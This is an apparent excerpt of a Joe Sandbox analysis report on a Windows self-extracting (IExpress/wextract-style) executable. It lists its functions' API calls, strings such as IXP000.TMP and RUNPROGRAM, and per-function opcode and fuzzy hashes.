CreateDirectoryA.KERNEL32(0000005A,00000000,?,A:\), ref: 00805802

Part of subcall function 00802630: GetWindowsDirectoryA.KERNEL32(?,00000104,00000000), ref: 00802654

SetFileAttributesA.KERNEL32(0000005A,00000002,?,A:\), ref: 00805830

Part of subcall function 00806517: FindResourceA.KERNEL32(00800000,000007D6,00000005), ref: 0080652A
Part of subcall function 00806517: LoadResource.KERNEL32(00800000,00000000,?,?,00802EE8,00000000,008019E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00806538
Part of subcall function 00806517: DialogBoxIndirectParamA.USER32(00800000,00000000,00000547,008019E0,00000000), ref: 00806557
Part of subcall function 00806517: FreeResource.KERNEL32(00000000,?,?,00802EE8,00000000,008019E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00806560

GetWindowsDirectoryA.KERNEL32(0000005A,00000104,?,A:\), ref: 00805878

Part of subcall function 0080597D: GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 008059A8
Part of subcall function 0080597D: SetCurrentDirectoryA.KERNELBASE(?), ref: 008059AF

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008056AE, 008056B3, 0080583D
Z, xrefs: 0080570A
A:\, xrefs: 008056F4
RUNPROGRAM, xrefs: 008055BD, 00805600
msdownld.tmp, xrefs: 008057D3
<None>, xrefs: 00805632

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$Directory$Free$AttributesFileFindLoadLocalWindows$Current$AllocCreateDialogDriveErrorIndirectLastLockMessageParamPathSizeofStringTempTypelstrcmpmemcpy_s
String ID: <None>$A:\$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$RUNPROGRAM$Z$msdownld.tmp
API String ID: 2436801531-2740620654
Opcode ID: 594664d16f55261b55ca2e97b22e0d3ac9485667c63b9bb5e95a81a50e974bd8
Instruction ID: bca0f289d8f3b4f8779af0f7d8fa2254faff8ee75356a6b81f274c3ca11a36af
Opcode Fuzzy Hash: 594664d16f55261b55ca2e97b22e0d3ac9485667c63b9bb5e95a81a50e974bd8
Instruction Fuzzy Hash: 7D8106B0B04A189ADBE49B649C85BEB766DFF60304F440065F996D21D1EE748DC18F71

Uniqueness

Uniqueness Score: -1.00%

Function 008044B9 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 160
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554
LocalAlloc.KERNEL32(00000040,00000065), ref: 008045A3
LocalAlloc.KERNEL32(00000040,00000065), ref: 008045E3
LocalAlloc.KERNEL32(00000040,00000002), ref: 0080460D
MessageBeep.USER32(00000000), ref: 00804630
MessageBoxA.USER32(?,00000000,no230,00000000), ref: 00804666
LocalFree.KERNEL32(00000000), ref: 0080466F

Part of subcall function 0080681F: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 0080686E
Part of subcall function 0080681F: GetSystemMetrics.USER32(0000004A), ref: 008068A7
Part of subcall function 0080681F: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 008068CC
Part of subcall function 0080681F: RegQueryValueExA.ADVAPI32(?,00801140,00000000,?,?,0000000C), ref: 008068F4
Part of subcall function 0080681F: RegCloseKey.ADVAPI32(?), ref: 00806902

Strings

LoadString() Error. Could not load string resource., xrefs: 008044E4
no230, xrefs: 00804545, 0080465A

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$no230
API String ID: 3244514340-3895311705
Opcode ID: fba3cc5cad42962647a64e3f64162c69aaa0d47aa2eb130d17dfdd2b97b99998
Instruction ID: 14c271115bd16f0dc5a55df5361395fa27715bf0eb99b53622973db9e67d4178
Opcode Fuzzy Hash: fba3cc5cad42962647a64e3f64162c69aaa0d47aa2eb130d17dfdd2b97b99998
Instruction Fuzzy Hash: B35106B2A00219AFDBA19F28CC48BAA7B68FF45310F104194FE59E7281DB32DD45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 008053A1 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 71
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0080171E: _vsnprintf.MSVCRT ref: 00801750

RemoveDirectoryA.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008053FB
GetFileAttributesA.KERNELBASE(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00805402
GetTempFileNameA.KERNEL32(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,IXP,00000000,?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080541F
DeleteFileA.KERNEL32(?,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080542B
CreateDirectoryA.KERNEL32(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00805434
CreateDirectoryA.KERNELBASE(?,00000000,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00805452

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008053B7, 008053E1, 0080541E
IXP, xrefs: 00805419
IXP%03d.TMP, xrefs: 008053C0

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: DirectoryFile$Create$AttributesDeleteNameRemoveTemp_vsnprintf
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$IXP$IXP%03d.TMP
API String ID: 1082909758-775753704
Opcode ID: 2b08ef21dbf200ae09cbfff33bcbaf2d3b8eb0acb577ef008c8e2888a5df18b6
Instruction ID: 139c245929780241bd54c114cfcdb8717b5a8cf11726647834efec2ebe52e51c
Opcode Fuzzy Hash: 2b08ef21dbf200ae09cbfff33bcbaf2d3b8eb0acb577ef008c8e2888a5df18b6
Instruction Fuzzy Hash: 15112B71700A04A7E7A49B3A9C49FDF775DFFD1321F000115F656D22D0DE7489868AA6

Uniqueness

Uniqueness Score: -1.00%

Function 0080256D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 75
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(80000002,System\CurrentControlSet\Control\Session Manager,00000000,00020019,?,00000000,00804096,00804096,?,00801ED3,00000001,00000000,?,?,00804137,?), ref: 008025B2
RegQueryValueExA.KERNELBASE(?,PendingFileRenameOperations,00000000,00000000,00000000,00804096,?,00801ED3,00000001,00000000,?,?,00804137,?,00804096), ref: 008025CB
RegCloseKey.KERNELBASE(?,?,00801ED3,00000001,00000000,?,?,00804137,?,00804096), ref: 008025DD
RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Session Manager\FileRenameOperations,00000000,00020019,?,00000000,00804096,00804096,?,00801ED3,00000001,00000000,?,?,00804137,?), ref: 008025FF
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00804096,00000000,00000000,00000000,00000000,?,00801ED3,00000001,00000000), ref: 0080261A

Strings

System\CurrentControlSet\Control\Session Manager\FileRenameOperations, xrefs: 008025F5
System\CurrentControlSet\Control\Session Manager, xrefs: 008025A8
PendingFileRenameOperations, xrefs: 008025C3

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: OpenQuery$CloseInfoValue
String ID: PendingFileRenameOperations$System\CurrentControlSet\Control\Session Manager$System\CurrentControlSet\Control\Session Manager\FileRenameOperations
API String ID: 2209512893-559176071
Opcode ID: e06b58eac7f7100153d3fdf315bdf8d05b437e95ac3ac8cdcc0f47d569632bce
Instruction ID: cae833e5a2b7ae3d78d878d9cb27408d450730be3204ca01f0634eded9b4e845
Opcode Fuzzy Hash: e06b58eac7f7100153d3fdf315bdf8d05b437e95ac3ac8cdcc0f47d569632bce
Instruction Fuzzy Hash: EA118F35902628FBDFA49B929C0EDFBBE7CFF127A1F104155B808E2180D6B04E48D6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00806A60 Relevance: 13.6, APIs: 9, Instructions: 138
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00807155: GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00807182
Part of subcall function 00807155: GetCurrentProcessId.KERNEL32 ref: 00807191
Part of subcall function 00807155: GetCurrentThreadId.KERNEL32 ref: 0080719A
Part of subcall function 00807155: GetTickCount.KERNEL32 ref: 008071A3
Part of subcall function 00807155: QueryPerformanceCounter.KERNEL32(?), ref: 008071B8

GetStartupInfoW.KERNEL32(?,008072B8,00000058), ref: 00806A7F
Sleep.KERNEL32(000003E8), ref: 00806AB4
_amsg_exit.MSVCRT ref: 00806AC9
_initterm.MSVCRT ref: 00806B1D
__IsNonwritableInCurrentImage.LIBCMT ref: 00806B49
exit.KERNELBASE ref: 00806BBF
_ismbblead.MSVCRT ref: 00806BDA

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Current$Time$CountCounterFileImageInfoNonwritablePerformanceProcessQuerySleepStartupSystemThreadTick_amsg_exit_initterm_ismbbleadexit
String ID:
API String ID: 836923961-0
Opcode ID: b452b313a0465435229886119a47177c7a93e66dcc867857d721f6e0335dd3ac
Instruction ID: 1dde654a429be62c26868dc725f44b0d7adf7c6377003c53bdc8a09681806104
Opcode Fuzzy Hash: b452b313a0465435229886119a47177c7a93e66dcc867857d721f6e0335dd3ac
Instruction Fuzzy Hash: 2C41D571A44729CFEBE19B68DC1576A77E4FB44730F54402AE882E32D1EF7448B18B91

Uniqueness

Uniqueness Score: -1.00%

Function 008058C8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 74
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,?,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00805534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 008058E7
CreateFileA.KERNELBASE(00000000,40000000,00000000,00000000,00000001,04000080,00000000,TMP4351$.TMP,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00805534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00805943
LocalFree.KERNEL32(00000000,?,00805534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080594D
CloseHandle.KERNEL32(00000000,?,00805534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 0080595C
GetFileAttributesA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,00805534,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000001,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,00000000), ref: 00805963

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008058CD, 008058CF, 00805919, 00805962
TMP4351$.TMP, xrefs: 00805923

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: FileLocal$AllocAttributesCloseCreateFreeHandle
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$TMP4351$.TMP
API String ID: 747627703-1664176527
Opcode ID: 0bc6b44be6f7f55b7df2b5af11b66fa8b5f58bdc3df46433417f19c5dba5ff1b
Instruction ID: db2a54f253b86ef45582de93af37bf4134d8d29b84fa590078272d23c4da44cc
Opcode Fuzzy Hash: 0bc6b44be6f7f55b7df2b5af11b66fa8b5f58bdc3df46433417f19c5dba5ff1b
Instruction Fuzzy Hash: 9E113471700614ABC7A41F79AC4DB9B7F9DFF46370B104615F64AD32D1DA7488158AB0

Uniqueness

Uniqueness Score: -1.00%

Function 008051E5 Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
Part of subcall function 0080468F: SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
Part of subcall function 0080468F: LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
Part of subcall function 0080468F: LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
Part of subcall function 0080468F: memcpy_s.MSVCRT ref: 008046E5
Part of subcall function 0080468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,00802F4D,?,00000002,00000000), ref: 00805201
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000,00000000), ref: 00805250

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Part of subcall function 00806285: GetLastError.KERNEL32(00805BBC), ref: 00806285

Strings

UPROMPT, xrefs: 008051EF, 00805230
<None>, xrefs: 00805262

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocErrorLastLockMessageSizeofStringmemcpy_s
String ID: <None>$UPROMPT
API String ID: 957408736-2980973527
Opcode ID: a0828720b0a519f630b6610fabcc4bdfadced9b3af996c1dde59cc809ae32d95
Instruction ID: 07109e85cde7e9bcbb4d87af9f3549466a1cbea6f3bc9d85100ad2734a3fff21
Opcode Fuzzy Hash: a0828720b0a519f630b6610fabcc4bdfadced9b3af996c1dde59cc809ae32d95
Instruction Fuzzy Hash: FC11E2B1341A09ABE7E86BB55C49B3B719EFF88794B104029F742D62D0EABD8C004535

Uniqueness

Uniqueness Score: -1.00%

Function 008052B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65fileCOMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(02AD8418,00000080,?,00000000), ref: 008052F2
DeleteFileA.KERNELBASE(02AD8418), ref: 008052FA
LocalFree.KERNEL32(02AD8418,?,00000000), ref: 00805305
LocalFree.KERNEL32(02AD8418), ref: 0080530C
SetCurrentDirectoryA.KERNELBASE(008011FC,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 00805363

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00805334

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: FileFreeLocal$AttributesCurrentDeleteDirectory
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 2833751637-305352358
Opcode ID: fe9d6d1ac2fd16fa9504628ec5d348a7c7fe15b6dc012e168baa708b97f3c9a5
Instruction ID: 6153232c8bf814e6f4bd55c594edd5ef481ad7e2d437103745cc4af8690f1d97
Opcode Fuzzy Hash: fe9d6d1ac2fd16fa9504628ec5d348a7c7fe15b6dc012e168baa708b97f3c9a5
Instruction Fuzzy Hash: FA21D131A00A28DBDBF49B18DC09B6A37A0FB15750F050119E482D26E1CFF45C84CF62

Uniqueness

Uniqueness Score: -1.00%

Function 00801FE1 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00020006,0080538C,?,?,0080538C), ref: 00802005
RegDeleteValueA.KERNELBASE(0080538C,wextract_cleanup0,?,?,0080538C), ref: 00802017
RegCloseKey.ADVAPI32(0080538C,?,?,0080538C), ref: 00802020

Strings

wextract_cleanup0, xrefs: 00801FE7, 0080200F
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 00801FFB

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: CloseDeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\RunOnce$wextract_cleanup0
API String ID: 849931509-702805525
Opcode ID: 7b4f3aa44c3f92ecad996b6a0243539323ecd6a3e003b3ae3968e6e865f11590
Instruction ID: 3079e776f808bc25307c810ab45570ff17a2b92abaf65174b259b12c6b27a22b
Opcode Fuzzy Hash: 7b4f3aa44c3f92ecad996b6a0243539323ecd6a3e003b3ae3968e6e865f11590
Instruction Fuzzy Hash: 7AE04F31A50B18FBD7A58B91EC4FF597B2DF700740F100194BA04E01E0EBB25A54D605

Uniqueness

Uniqueness Score: -1.00%

Function 00804CD0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNELBASE(?,?,?,?), ref: 00804DB5
SetDlgItemTextA.USER32(00000000,00000837,?), ref: 00804DDD

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00804D36, 00804DE3

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: AttributesFileItemText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3625706803-305352358
Opcode ID: 8f0a890b751d775b2e9906644bfb526c714a0fa66767713bda871f81afa17099
Instruction ID: 8f7d6342ef9e0025d6607c22a0d10cd1ed88cb0a6b60fac22aaa9e18ea98c477
Opcode Fuzzy Hash: 8f0a890b751d775b2e9906644bfb526c714a0fa66767713bda871f81afa17099
Instruction Fuzzy Hash: 464164B62802058BCBA19F38DD446F673A5FF46300F045668EE86D72D2DB32DE8AC750

Uniqueness

Uniqueness Score: -1.00%

Function 00804C37 Relevance: 4.5, APIs: 3, Instructions: 39timeCOMMON

Download Yara Rule

APIs

DosDateTimeToFileTime.KERNEL32(?,?,?), ref: 00804C54
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00804C66
SetFileTime.KERNELBASE(?,?,?,?), ref: 00804C7E

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Time$File$DateLocal
String ID:
API String ID: 2071732420-0
Opcode ID: 83a1187fc98996489ee37f9c9bc4c99bb8ff1c1282e7b8afef3088be0495e296
Instruction ID: c3436bddb266cf765a438597b2702913a06a6ea7bd7620aacb4586ecfff987cb
Opcode Fuzzy Hash: 83a1187fc98996489ee37f9c9bc4c99bb8ff1c1282e7b8afef3088be0495e296
Instruction Fuzzy Hash: C5F090B264120CAFEBA4DFB4CC48DBB77ACFF04240B44452EAA16C20D0EA34D914C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0080487A Relevance: 3.1, APIs: 2, Instructions: 59fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNELBASE(00008000,-80000000,00000000,00000000,?,00000080,00000000,00000000,00000000,00000000,00804A23,?,00804F67,*MEMCAB,00008000,00000180), ref: 008048DE
CreateFileA.KERNEL32(00008000,-80000000,00000000,00000000,?,00000080,00000000,?,00804F67,*MEMCAB,00008000,00000180), ref: 00804902

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d12f803baf3101661b5195033dd37fc3dacc9a40c1ad46bf19f9d7b757791023
Instruction ID: 1490a3ddd492ba961db2feb695a65f1f52f62f93de86078d6ba8d81dde908558
Opcode Fuzzy Hash: d12f803baf3101661b5195033dd37fc3dacc9a40c1ad46bf19f9d7b757791023
Instruction Fuzzy Hash: 39016DE3E516742AF3A450294C88FB7551CEBD6734F1B5734BEEAE71D2D5644C0481E0

Uniqueness

Uniqueness Score: -1.00%

Function 00804AD0 Relevance: 3.0, APIs: 2, Instructions: 47fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00803680: MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0080369F
Part of subcall function 00803680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008036B2
Part of subcall function 00803680: PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008036DA

WriteFile.KERNELBASE(?,?,?,?,00000000), ref: 00804B05

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: MessagePeek$FileMultipleObjectsWaitWrite
String ID:
API String ID: 1084409-0
Opcode ID: 53f259d9bfb90603ac821018d9f37edd67bf5fb50e0404a524024da678668eba
Instruction ID: 71b8e11fa7aa6195962c0f5d8a902f96a444f3b6510404fb86b305f859cb08c6
Opcode Fuzzy Hash: 53f259d9bfb90603ac821018d9f37edd67bf5fb50e0404a524024da678668eba
Instruction Fuzzy Hash: 4B01CC71240205EBDB948FA8DC15BA27758FB84725F048225FA79E71E1CB30C851CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0080658A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

CharPrevA.USER32(00808B3E,00808B3F,00000001,00808B3E,-00000003,?,008060EC,00801140,?), ref: 008065BA

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

